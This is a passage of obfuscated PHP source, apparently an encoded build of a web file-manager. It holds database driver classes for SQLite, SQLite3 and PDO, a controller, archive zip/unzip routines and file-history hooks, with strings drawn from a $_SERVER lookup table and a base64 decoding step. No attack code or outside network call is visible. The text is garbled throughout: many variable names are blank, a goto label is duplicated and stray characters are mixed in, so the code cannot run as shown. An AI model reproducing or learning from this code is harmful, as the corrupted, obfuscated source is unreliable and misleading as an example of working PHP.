2\x6c\145\137\163\143\x68\x65\x6d\x61\xa\x9\11\101\x4e\x44\40\164\x2e\x74\x61\x62\x6c\x65\x5f\x6e\141\x6d\x65\40\75\x20\x63\x2e\164\141\142\154\x65\137\x6e\141\x6d\x65\xa\11\x9\127\x48\105\x52\x45\x20\40\40\x74\x2e\164\141\142\154\x65\137\156\141\x6d\145\40\x3d\x20\47{$}\x27"; break; case $б[985]: $ = $б[986] . $ . $б[987]; break; case $б[967]: case $б[969]: $ = $б[988] . $б[989] . $б[990] . strtoupper($) . $б[991] . strtoupper($) . $б[992]; break; case $б[993]: $ = $б[994] . $ . $б[995]; break; case $б[968]: break; case $б[996]: default: $ = $б[997] . ($this->dbType == $б[996] ? "\140{$}\140" : $); } } $Œߩ = $this->query($); $Ą = array(); if ($Œߩ) { foreach ($Œߩ as $ů => $) { $ = array_change_key_case($); $[$б[32]] = isset($[$б[32]]) ? $[$б[32]] : $б[438]; $[$б[33]] = isset($[$б[33]]) ? $[$б[33]] : $б[438]; $ = isset($[$б[325]]) ? $[$б[325]] : $[$б[32]]; $Ą[$] = array($б[32] => $, $б[33] => $[$б[33]], $б[35] => (bool) (isset($[$б[106]]) && $[$б[106]] === $б[12] || isset($[$б[35]]) && $[$б[35]] === $б[12]), $б[37] => isset($[$б[37]]) ? $[$б[37]] : (isset($[$б[56]]) ? $[$б[56]] : $б[438]), $б[39] => isset($[$б[97]]) ? strtolower($[$б[97]]) == $б[41] : (isset($[$б[57]]) ? $[$б[57]] : !1), $б[42] => isset($[$б[998]]) ? strtolower($[$б[998]]) == $б[44] : (isset($[$б[97]]) ? $[$б[97]] : !1)); } } return $Ą; } public function getTables($ǭ = '') { $ =& $_SERVER[ϋ]; if (think_config($[999])) { $ = str_replace($[1000], $ǭ, think_config($[999])); } else { switch ($this->dbType) { case $[967]: case $[969]: $ = $[1001]; break; case $[966]: case $[984]: $ = $[1002]; break; case $[993]: $ = $[1003]; break; case $[968]: think_exception(think_lang($[1004]) . $[1005]); break; case $[985]: $ = $[45] . $[46] . $[47]; break; case $[996]: default: if (!empty($ǭ)) { $ = $[948] . $ǭ . $[949]; } else { $ = $[950]; } } } $琊 = $this->query($); $Ԫ큆 = array(); foreach ($琊 as $ => $󽍁ڂ) { $Ԫ큆[$] = current($󽍁ڂ); } return $Ԫ큆; } protected function parseLimit($■) { $ȣ =& $_SERVER[ϋ]; $Ѧ = $ȣ[12]; if (!empty($■)) { switch ($this->dbType) { case $ȣ[993]: case $ȣ[985]: $■ = explode($ȣ[50], $■); if (count($■) > 1) { $Ѧ .= $ȣ[51] . $■[1] . $ȣ[52] . $■[0] . $ȣ[53]; } else { $Ѧ .= $ȣ[51] . $■[0] . $ȣ[53]; } break; case $ȣ[966]: case $ȣ[984]: break; case $ȣ[968]: break; case $ȣ[967]: case $ȣ[969]: break; case $ȣ[996]: default: $Ѧ .= $ȣ[51] . $■ . $ȣ[53]; } } return $Ѧ; } public function parseKey(&$, $犣 = true) { $㧔 =& $_SERVER[ϋ]; if ($犣) { $ = $this->parseKeyCheck($); } if ($this->dbType == $㧔[996]) { if ($ != $㧔[211] && !preg_match($㧔[960], $)) { $ = $㧔[445] . trim($, $㧔[445]) . $㧔[445]; } return $; } else { return parent::parseKey($, $犣); } } public function close() { $this->_linkID = null; } public function error() { $ˈ =& $_SERVER[ϋ]; if ($this->PDOStatement) { $ҥ = $this->PDOStatement->errorInfo(); $this->error = $ҥ[1] . $ˈ[4] . $ҥ[2]; } else { $this->error = $ˈ[12]; } if ($ˈ[12] != $this->queryStr) { $this->error .= LNG($ˈ[48]) . $this->queryStr; } think_trace($this->error, $ˈ[12], $ˈ[49]); return $this->error; } public function escapeString($ߐÇ) { $ߙ =& $_SERVER[ϋ]; switch ($this->dbType) { case $ߙ[993]: case $ߙ[966]: case $ߙ[984]: case $ߙ[996]: return addslashes($ߐÇ); case $ߙ[968]: case $ߙ[985]: case $ߙ[967]: case $ߙ[969]: return str_ireplace($ߙ[58], $ߙ[59], $ߐÇ); } } protected function parseValue($) { $ =& $_SERVER[ϋ]; if (is_string($)) { $ǒ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ǒ ? $this->escapeString($) : $[1006] . $this->escapeString($) . $[1006]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[348]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1007]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[219]; } elseif (is_null($)) { $ = $[106]; } return $; } public function getLastInsertId() { $ =& $_SERVER[ϋ]; switch ($this->dbType) { case $[993]: case $[985]: case $[966]: case $[984]: case $[968]: case $[996]: return $this->_linkID->lastInsertId(); case $[967]: case $[969]: $ = $this->table; $η = $this->query("\x53\x45\x4c\105\x43\124\40{$}\56\143\x75\x72\162\x76\141\x6c\x20\x63\x75\x72\x72\166\141\x6c\x20\106\122\x4f\x4d\x20\144\x75\141\154"); return $η ? $η[0][$[1008]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ꨢ) { $۩ =& $_SERVER[ϋ]; if (!CacheLock::fileLock($۩[13])) { return !1; } $М풟 = parent::query($ꨢ); CacheLock::fileUnLock($۩[13]); return $М풟; } public function execute($ܮ) { $ =& $_SERVER[ϋ]; if (!CacheLock::fileLock($[13])) { return !1; } $ٞ = parent::execute($ܮ); CacheLock::fileUnLock($[13]); return $ٞ; } } class DbSqlite3 extends DbSqlite3Base { public function query($ױ) { $ =& $_SERVER[ϋ]; if (!CacheLock::fileLock($[13])) { return !1; } $Ո = parent::query($ױ); CacheLock::fileUnLock($[13]); return $Ո; } public function execute($й) { $ο =& $_SERVER[ϋ]; if (!CacheLock::fileLock($ο[13])) { return !1; } $렳 = parent::execute($й); CacheLock::fileUnLock($ο[13]); return $렳; } } goto fŐ; b: $fileSize = strrev(base64_decode($_SERVER[֩][0])); function binCheckNeq($Ԑ, $) { return $Ԑ != $; } $_SERVER[$_SERVER[֩][1]] = $fileSize($_SERVER[$_SERVER[֩][2]]); goto c; b: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[ϋ]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($Ǩ) { if (1 === func_num_args()) { $this->{$Ǩ} = new $Ǩ(); } else { $ = new ReflectionClass($Ǩ); $ȯ = func_get_args(); array_shift($ȯ); $this->{$Ǩ} = $->newInstanceArgs($ȯ); } return $this->{$Ǩ}; } public function routeBind($ŀ, $лމ, $ = 3) { $ =& $_SERVER[ϋ]; $ϓ = $this->in[$[9]]; $ŀ = str_replace($[10], $[11], trim(trim($ŀ, $[8]), $[12])); if (!$ŀ || count($ϓ) <= $) { return !1; } $؋ = !0; $ם = explode($[8], $ŀ); for ($ = 0; $ < count($ם); $++) { if ($ם[$] != $ϓ[$ + $]) { $؋ = !1; break; } } if (!$؋) { return; } call_user_func_array(array($this, $лމ), array()); } public function routeArgs($ߜ˚ = 3) { $Ś = $this->in[$_SERVER[ϋ][9]]; if (count($Ś) <= $ߜ˚) { return array(); } $ܱ = array(); for ($ = $ߜ˚; $ < count($Ś); $ += 2) { $ܱ[$Ś[$]] = $Ś[$ + 1]; $this->in[$Ś[$]] = $Ś[$ + 1]; } return $ܱ; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ڄ = '') { $ =& $_SERVER[ϋ]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($ڄ)) { if (!isset($ڄ[$[16]])) { $ڄ[$[16]] = 438; } $this->config = $ڄ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ͣ = '', $ = 0) { $ݚ =& $_SERVER[ϋ]; if (!isset($this->linkID[$])) { if (empty($ͣ)) { $ͣ = $this->config; } $ځ = !empty($ͣ[$ݚ[17]][$ݚ[18]]) ? $ͣ[$ݚ[17]][$ݚ[18]] : $this->pconnect; $גٹ = $ځ ? $ݚ[19] : $ݚ[20]; $this->linkID[$] = $גٹ($ͣ[$ݚ[21]], $ͣ[$ݚ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ݚ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ӣ =& $_SERVER[ϋ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ӣ[23], 1); think_status($ӣ[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($ѡ) { $ݨ =& $_SERVER[ϋ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ѡ; if ($this->queryID) { $this->free(); } think_action_status($ݨ[25], 1); think_status($ݨ[24]); $픞 = sqlite_exec($this->_linkID, $ѡ); $this->debug(); if (!1 === $픞) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ϋ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[ϋ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ײ = sqlite_query($this->_linkID, $_SERVER[ϋ][28]); if (!$ײ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ӥ̴ = array(); if ($this->numRows > 0) { for ($Ʒœ = 0; $Ʒœ < $this->numRows; $Ʒœ++) { $ӥ̴[$Ʒœ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $ӥ̴; } public function getFields($) { $Ӹ =& $_SERVER[ϋ]; $ = $this->query($Ӹ[29] . $ . $Ӹ[30]); $ = array(); if ($) { foreach ($ as $쓘 => $Ӑڋ) { $[$Ӑڋ[$Ӹ[31]]] = array($Ӹ[32] => $Ӑڋ[$Ӹ[31]], $Ӹ[33] => $Ӑڋ[$Ӹ[34]], $Ӹ[35] => (bool) ($Ӑڋ[$Ӹ[36]] === $Ӹ[12]), $Ӹ[37] => $Ӑڋ[$Ӹ[38]], $Ӹ[39] => strtolower($Ӑڋ[$Ӹ[40]]) == $Ӹ[41], $Ӹ[42] => strtolower($Ӑڋ[$Ӹ[43]]) == $Ӹ[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[ϋ]; $ = $this->query($[45] . $[46] . $[47]); $҈ = array(); foreach ($ as $ => $ʎ) { $҈[$] = current($ʎ); } return $҈; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ϋ]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($怒) { $ܥ =& $_SERVER[ϋ]; $غ = $ܥ[12]; if (!empty($怒)) { $怒 = explode($ܥ[50], $怒); if (count($怒) > 1) { $غ .= $ܥ[51] . $怒[1] . $ܥ[52] . $怒[0] . $ܥ[53]; } else { $غ .= $ܥ[51] . $怒[0] . $ܥ[53]; } } return $غ; } } class DbSqlite3Base extends Db { public function __construct($ǔɐ = '') { $ض =& $_SERVER[ϋ]; if (!class_exists($ض[54])) { think_exception(think_lang($ض[14]) . $ض[55]); } if (!empty($ǔɐ)) { if (!isset($ǔɐ[$ض[16]])) { $ǔɐ[$ض[16]] = 438; } $this->config = $ǔɐ; if (empty($this->config[$ض[17]])) { $this->config[$ض[17]] = array(); } } } public function connect($ = '', $ = 0) { $գ =& $_SERVER[ϋ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$գ[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($գ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($Ύ) { $ =& $_SERVER[ϋ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ύ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($Ύ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($Ҹݒ) { $ =& $_SERVER[ϋ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ҹݒ; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ѹ = $this->_linkID->exec($Ҹݒ); $this->debug(); if (!1 === $ѹ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ϋ][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ϋ][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[ϋ][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($謕 = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $謕; } $this->queryID->reset(); return $; } public function getFields($) { $턲 =& $_SERVER[ϋ]; $Ɛ = $this->query($턲[29] . $ . $턲[30]); $ = array(); if ($Ɛ) { foreach ($Ɛ as $Ƽ => $̖) { $[$̖[$턲[32]]] = array($턲[32] => $̖[$턲[32]], $턲[33] => $̖[$턲[33]], $턲[35] => (bool) ($̖[$턲[35]] === $턲[12]), $턲[37] => $̖[$턲[56]], $턲[39] => (bool) $̖[$턲[57]], $턲[42] => (bool) $̖[$턲[57]]); } } return $; } public function getTables($ = '') { $첛 =& $_SERVER[ϋ]; $˲ = $this->query($첛[45] . $첛[46] . $첛[47]); $̵Ц = array(); foreach ($˲ as $Ǻ => $硦) { $̵Ц[$Ǻ] = current($硦); } return $̵Ц; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $Ҏ =& $_SERVER[ϋ]; $this->error = $this->_linkID->lastErrorMsg(); if ($Ҏ[12] != $this->queryStr) { $this->error .= LNG($Ҏ[48]) . $this->queryStr; } think_trace($this->error, $Ҏ[12], $Ҏ[49]); return $this->error; } public function escapeString($ῐ) { $Ϡ =& $_SERVER[ϋ]; if ($this->_linkID) { return $this->_linkID->escapeString($ῐ); } return str_ireplace($Ϡ[58], $Ϡ[59], $ῐ); } public function parseLimit($҆ٿ) { $ =& $_SERVER[ϋ]; $ʃҡ = $[12]; if (!empty($҆ٿ)) { $҆ٿ = explode($[50], $҆ٿ); if (count($҆ٿ) > 1) { $ʃҡ .= $[51] . $҆ٿ[1] . $[52] . $҆ٿ[0] . $[53]; } else { $ʃҡ .= $[51] . $҆ٿ[0] . $[53]; } } return $ʃҡ; } } goto E; dՎ: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $Թ = IO::init($_SERVER[ϋ][8]); return $Թ; } private static function iconvSystem($՟٤) { return self::local()->iconvSystem($՟٤); } private static function iconvApp($҃) { return self::local()->iconvApp($҃); } public static function zipFolder($, $ = "\x7a\151\x70", $ﭺ = '', $ο = REPEAT_RENAME) { $ =& $_SERVER[ϋ]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$[85]], $[$[86]]); return self::zip($, $, $ﭺ, $ο); } public static function zip($ɨ, $ = "\x7a\x69\x70", $Ҩ = '', $Ѵ = REPEAT_RENAME) { $ɫ =& $_SERVER[ϋ]; if (is_string($ɨ) && $ɨ) { $ɨ = array(array($ɫ[87] => $ɨ)); } $ﭷ = self::init($ɨ[0][$ɫ[87]]); $Α = self::info($ɨ[0][$ɫ[87]]); $ = $ɫ[12]; $ = $ɫ[12]; $ǵ = $ɫ[12]; if ($Ҩ && substr($Ҩ, -1, 1) != $ɫ[8]) { $ = get_path_father($Ҩ); $ǵ = get_path_this($Ҩ); } else { $ = self::pathFather($Α[$ɫ[87]]); $ǵ = $Α[$ɫ[32]] . $ɫ[10] . $; if (count($ɨ) > 1) { $ = IO::info($); $ǵ = $[$ɫ[32]] . $ɫ[10] . $; } if ($Ҩ) { $ = $Ҩ; } } if ($ﭷ->getType() == $ɫ[109]) { $ٕ = self::init($); $ܕ = $ٕ->getType() == $ɫ[109] ? $ : get_path_father($ﭷ->path); $ܕ = rtrim($ܕ, $ɫ[8]) . $ɫ[8]; mk_dir($ܕ); } else { $ = TEMP_FILES . $ɫ[1236] . time() . rand_string(8) . $ɫ[8]; mk_dir($); file_put_contents($ . $ɫ[1237], $ɫ[12]); $ܕ = $; } $㣧ӧ = IO::info($ܕ); if (!$㣧ӧ || !$㣧ӧ[$ɫ[224]]) { show_json(LNG($ɫ[1238]), !1); } $տ = self::zipFileList($ɨ, $); foreach ($տ as $Ӥ => $Ќ) { $տ[$Ӥ] = self::iconvSystem($Ќ); } $ = get_filename_auto($ܕ . $ǵ, $ɫ[12], $Ѵ); KodArchive::create(self::iconvSystem($), $տ); if (!IO::exist($)) { if ($) { del_dir($); } show_json(LNG($ɫ[1239]), !1); } if (!$) { return $; } $Č = self::move($, $, $Ѵ); if ($) { del_dir($); } if (!$) { show_json(LNG($ɫ[1239]), !1); } return $Č; } public static function unzip($ŀѼ, $, $ŝ = "\55\61", $ = "\162\145\x70\154\x61\x63\x65") { $ =& $_SERVER[ϋ]; $ = parent::info($ŀѼ); if (!$) { show_json(LNG($[1240]), !1); } $Ԡ = IO::infoFullSimple($); if (!$Ԡ) { $ = IO::mkdir($); } if (isset($Ԡ[$[184]]) && trim($Ԡ[$[87]], $[8]) != trim($, $[8])) { $ܔ = KodIO::make($Ԡ[$[183]]); $ = IO::fileNameAuto($ܔ, $Ԡ[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ܔ . $); } $ŝ = $ŝ && $ŝ != $[1241] ? @json_decode($ŝ, !0) : -1; $ۋ = self::unzipPart($ŀѼ, $ŝ); if (!$ۋ || !IO::exist($ۋ[$[221]])) { show_json(LNG($[108]), !1); } $˚ = $ۋ[$[1242]][count($ۋ[$[1242]]) - 1]; if ($˚[$[1243]] == -1 || substr($˚[$[32]], -1, 1) == $[8]) { $Я = $ۋ[$[1244]] . rand_string(10) . $[8]; mk_dir($Я); $Ѐ = count($ۋ[$[1242]]) == 1 ? IO::ext($ŀѼ) : get_path_ext($ۋ[$[221]]); $ϼ = KodArchive::extract(self::iconvSystem($ۋ[$[221]]), $Я, $˚[$[1243]], $, $Ѐ); self::unzipErrorCheck($ϼ, array($[1245], $ŀѼ, $Ѐ, $, $ۋ)); Hook::trigger($[1246], $Я); recursion_dir($Я, $۸, $, 0); $؇뗫 = array_merge($۸, $); $ = array(); foreach ($؇뗫 as $) { $Ӈ˞ = IO::move(self::iconvApp($), $, $); if ($Ӈ˞) { $[] = $Ӈ˞; } } del_dir($Я); } else { $Ӈ˞ = IO::move($ۋ[$[221]], $, $, get_path_this($˚[$[32]])); if ($Ӈ˞) { $[] = $Ӈ˞; } } return $ ? $ : !1; } public static function unzipList($ڽ) { $֏ =& $_SERVER[ϋ]; $֫ = isset($ڽ[$֏[1247]]) ? $ڽ[$֏[1247]] : !1; $ϸ = isset($ڽ[$֏[1243]]) ? @json_decode($ڽ[$֏[1243]], !0) : -1; $ = self::unzipPart($ڽ[$֏[87]], $ϸ); if (!$ || !IO::exist($[$֏[221]])) { show_json(LNG($֏[108]), !1); } $߿ = $[$֏[1242]][count($[$֏[1242]]) - 1]; $ = in_array(IO::ext($[$֏[221]]), array($֏[364], $֏[1248], $֏[1249], $֏[1250], $֏[1251], $֏[1252])); if (!$֫ && ($߿[$֏[1243]] == -1 || $)) { $˧ = $[$֏[1244]] . get_path_this($[$֏[221]]) . $֏[1253]; if (!IO::exist($˧)) { $΄ = $߿[$֏[1243]] == -1 ? get_path_ext(IO::pathThis($ڽ[$֏[87]])) : get_path_ext($[$֏[221]]); $ = KodArchive::listContent(self::iconvSystem($[$֏[221]]), !0, $΄); self::unzipErrorCheck($, array($֏[1254], $ڽ, $)); @file_put_contents($˧, json_encode($[$֏[1255]])); } return @json_decode(IO::getContent($˧), !0); } IO::fileOut($[$֏[221]], $֫, get_path_this($߿[$֏[32]])); die; } private static function zipFileList($μ, $䮬 = false) { $Ր =& $_SERVER[ϋ]; $ = array(); foreach ($μ as $憞) { $ϙ = $憞[$Ր[87]]; if ($䮬) { $ϙ = self::copy($憞[$Ր[87]], $䮬, $Ր[869]); } else { $ = self::init($憞[$Ր[87]]); if ($->getType() == $Ր[109]) { $ϙ = $->path; } } if ($ϙ && self::local()->exist($ϙ)) { $[$憞[$Ր[87]]] = $ϙ; } } if (!empty($)) { return array_values($); } show_json(LNG($Ր[1217]), !1); } private static function localFilePath($Ǐ) { $й =& $_SERVER[ϋ]; $ӯ = KodIO::parse($Ǐ); if ($ӯ[$й[33]] == KodIO::KOD_SOURCE) { $מ = Model($й[876])->fileInfoGet(KodIO::sourceID($Ǐ)); if (!$מ[$й[87]]) { show_json($й[1256], !1); } $Ǐ = $מ[$й[87]]; } $ = self::init($Ǐ); if ($->pathParse[$й[1203]]) { $Ǐ = $->pathParse[$й[1203]]; $ = self::init($Ǐ); } $ = $->getType(); if ($ == $й[109] || $ == $й[1257]) { if (!$->exist($->path)) { show_json(LNG($й[108]), !1); } return $->path; } return !1; } public static function unzipPart($, $Ś = -1) { $܁ =& $_SERVER[ϋ]; $Ր = IO::pathThis($); if (!$Ś || $Ś == -1) { $˗ԣ = array(array($܁[32] => $Ր, $܁[1243] => -1)); $˗ԣ[0][$܁[1258]] = $˗ԣ[0][$܁[32]]; } else { if (is_array($Ś)) { $˗ԣ = $Ś; $ڊ = count($˗ԣ) - 1; for ($㖑 = 0; $㖑 <= $ڊ; $㖑++) { $ = $˗ԣ[$㖑]; $ = get_path_this($[$܁[32]]) . (checkExtSafe($[$܁[32]]) ? $܁[12] : $܁[1259]); $˗ԣ[$㖑][$܁[1258]] = $܁[1260] . intval($[$܁[1243]]) . $܁[446] . $; if ($㖑 == 0) { continue; } $˗ԣ[$㖑][$܁[1258]] = $˗ԣ[$㖑 - 1][$܁[1258]] . $܁[1261] . $˗ԣ[$㖑][$܁[1258]]; } } } if (!is_array($˗ԣ) || count($˗ԣ) == 0) { return !1; } $֭ = $˗ԣ[count($˗ԣ) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $܁[1262] . kodIO::hashPathSafe($) . $܁[8]; $  = $ . $֭[$܁[1258]]; mk_dir($); file_put_contents(TEMP_FILES . $܁[1237], $܁[12]); if (IO::exist($ )) { return array($܁[221] => $ , $܁[1242] => $˗ԣ, $܁[1244] => $); } $ѧګ = self::localFilePath($); if (!$ѧګ) { $ѧګ = $ . $܁[1263]; if (!IO::exist($ѧګ)) { self::copy($, $, !1, get_path_this($ѧګ)); } } if (!$ѧګ || !IO::exist($ѧګ)) { return !1; } if ($֭[$܁[1243]] == -1) { return array($܁[221] => $ѧګ, $܁[1242] => $˗ԣ, $܁[1244] => $); } $ڷȹ = $ѧګ; foreach ($˗ԣ as $㖑 => $) { if (!$ || $[$܁[1243]] == $܁[1241]) { break; } if (substr($[$܁[32]], -1, 1) == $܁[8]) { break; } $ = in_array(get_path_ext($[$܁[1258]]), array($܁[364], $܁[1248], $܁[1249], $܁[1250], $܁[1251], $܁[1252])); $ = $㖑 == count($˗ԣ) - 1 && $; $ܐ = $ . $[$܁[1258]]; $ = $ . get_path_this($[$܁[32]]); if (IO::exist($ܐ)) { $ڷȹ = $ܐ; continue; } $ = $㖑 == 0 ? get_path_ext($Ր) : get_path_ext($ڷȹ); $ˉ = KodArchive::extract(self::iconvSystem($ڷȹ), $, $[$܁[1243]], $, $); self::unzipErrorCheck($ˉ, array($܁[1264], $, $˗ԣ, $, $ܐ)); if (IO::exist($)) { IO::rename($, get_path_this($ܐ)); } $ڷȹ = $ܐ; } $  = $ڷȹ; return array($܁[221] => $ڷȹ, $܁[1242] => $˗ԣ, $܁[1244] => $); } private static function unzipErrorCheck($, $걩 = false) { $ޏЧ =& $_SERVER[ϋ]; if ($[$ޏЧ[1265]]) { return !0; } write_log(array($ޏЧ[1266], $, $걩), $ޏЧ[1267]); show_json($ޏЧ[1268] . json_encode($[$ޏЧ[1255]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ـ =& $_SERVER[ϋ]; $ = $GLOBALS[$ـ[6]][$ـ[92]]; if ($[$ـ[1269]] != 1) { return; } if ($[$ـ[1270]] <= 0) { return; } if (isset($_REQUEST[$ـ[1271]]) && $_REQUEST[$ـ[1271]] == $ـ[91]) { return; } Hook::bind($ـ[1272], $ـ[1273]); Hook::bind($ـ[1274], $ـ[1275]); Hook::bind($ـ[1276], $ـ[1277]); Hook::bind($ـ[1278], $ـ[1279]); Hook::bind($ـ[1280], $ـ[1281]); Hook::bind($ـ[1282], $ـ[1283]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $Ɔ = self::parsePath($[0]); if (!$Ɔ) { return; } self::add($Ɔ); } public static function eventBeforeEdit($ϝ) { $Β = self::parsePath($ϝ[0]); if (!$Β) { return; } self::add($Β); } public static function eventBeforeCopyFile($܁γ, $, $Ч, $, $, $Ҙ) { $準 =& $_SERVER[ϋ]; if (isset($Ч->_data[$準[1207]]) && $Ч->_data[$準[1207]]) { return; } $Ļϕ = $Ч->getPathOuter($); $ߵ = self::parsePath($Ļϕ); if (!$ߵ) { return; } self::add($ߵ); } public static function eventBeforeRename($ɏ) { $ =& $_SERVER[ϋ]; $ = self::parsePath($ɏ[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[221]) { $Ē = self::listData($); if ($Ē && $Ē[$[429]]) { self::moveHistory($, $ɏ[1]); } } else { IO::rename($[$[87]], $ɏ[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[ϋ]; $ = self::parsePath($[0]); if (!$) { return; } $򲸱 = self::parsePath($[1]); if (!$򲸱) { return; } $ = $[3]; $γ = self::checkInHistory($); if (!$γ) { return; } $ = self::pathHistory($򲸱); if ($γ[$[33]] == $[221]) { $ = self::listData($); $ = rtrim($򲸱, $[8]) . $[8] . ($ ? $ : get_path_this($)); $׾ = self::listData($); if ($ && $[$[429]] && $׾ && $׾[$[429]]) { return self::clear($); } if ($ && $[$[429]]) { self::moveHistory($, $, $); } } else { IO::move($γ[$[87]], $, !1, $); self::clearEmptyFolder(IO::pathFather($γ[$[87]])); } } public static function eventAfterRemove($ً, $) { $ =& $_SERVER[ϋ]; if (!$) { return; } $Ǖ = self::parsePath($ً[0]); if (!$Ǖ) { return; } $ = self::checkInHistory($Ǖ); if (!$) { return; } if ($[$[33]] == $[221]) { $ = self::listData($Ǖ, !1); if ($ && $[$[429]]) { self::clear($Ǖ, !1); } } else { IO::remove($[$[87]]); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } private static function checkInHistory($结) { $ = self::pathHistory($结); if (!IO::exist($)) { $ .= $_SERVER[ϋ][1284]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($௻) { $ =& $_SERVER[ϋ]; if (!$௻) { return !1; } if (isset($GLOBALS[$[1285]]) && $GLOBALS[$[1285]]) { return; } $澹 = KodIO::parse($௻); $ = $澹[$[33]]; $ҥܘ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ҥܘ || !$澹[$[1286]]) { return !1; } if (substr($௻, 0, strlen(DATA_PATH . $[1287])) == DATA_PATH . $[1287]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ۜ辎 = IO::init($௻); if ($ۜ辎->pathParse[$[1203]]) { return self::parsePath($ۜ辎->pathParse[$[1203]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1288]); foreach ($ as $㥬) { if (!$ && substr($௻, 0, strlen($㥬)) == $㥬) { return !1; } } self::log($GLOBALS[$[1198]] . $[1289] . $௻); return $௻; } private static function pathHistory($֏) { $ɇ =& $_SERVER[ϋ]; $‹ = self::$_historyBase . ltrim(KodIO::clear($֏), $ɇ[8]); $‹ = str_replace(array($ɇ[1290]), array($ɇ[1291]), $‹); return $‹; } public static function log($ۢ쵏) { } public static function historyCount($) { $ =& $_SERVER[ϋ]; $汋 = array(); $ = array(); foreach ($ as $) { $ = get_path_father($); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($); } foreach ($ as $ => $ɢ) { $׭ = self::parsePath($); if (!$׭) { continue; } foreach ($ɢ as $) { $ = self::listData(rtrim($׭, $[8]) . $[8] . $, !1); if ($ && $[$[429]]) { $汋[rtrim($, $[8]) . $[8] . $] = 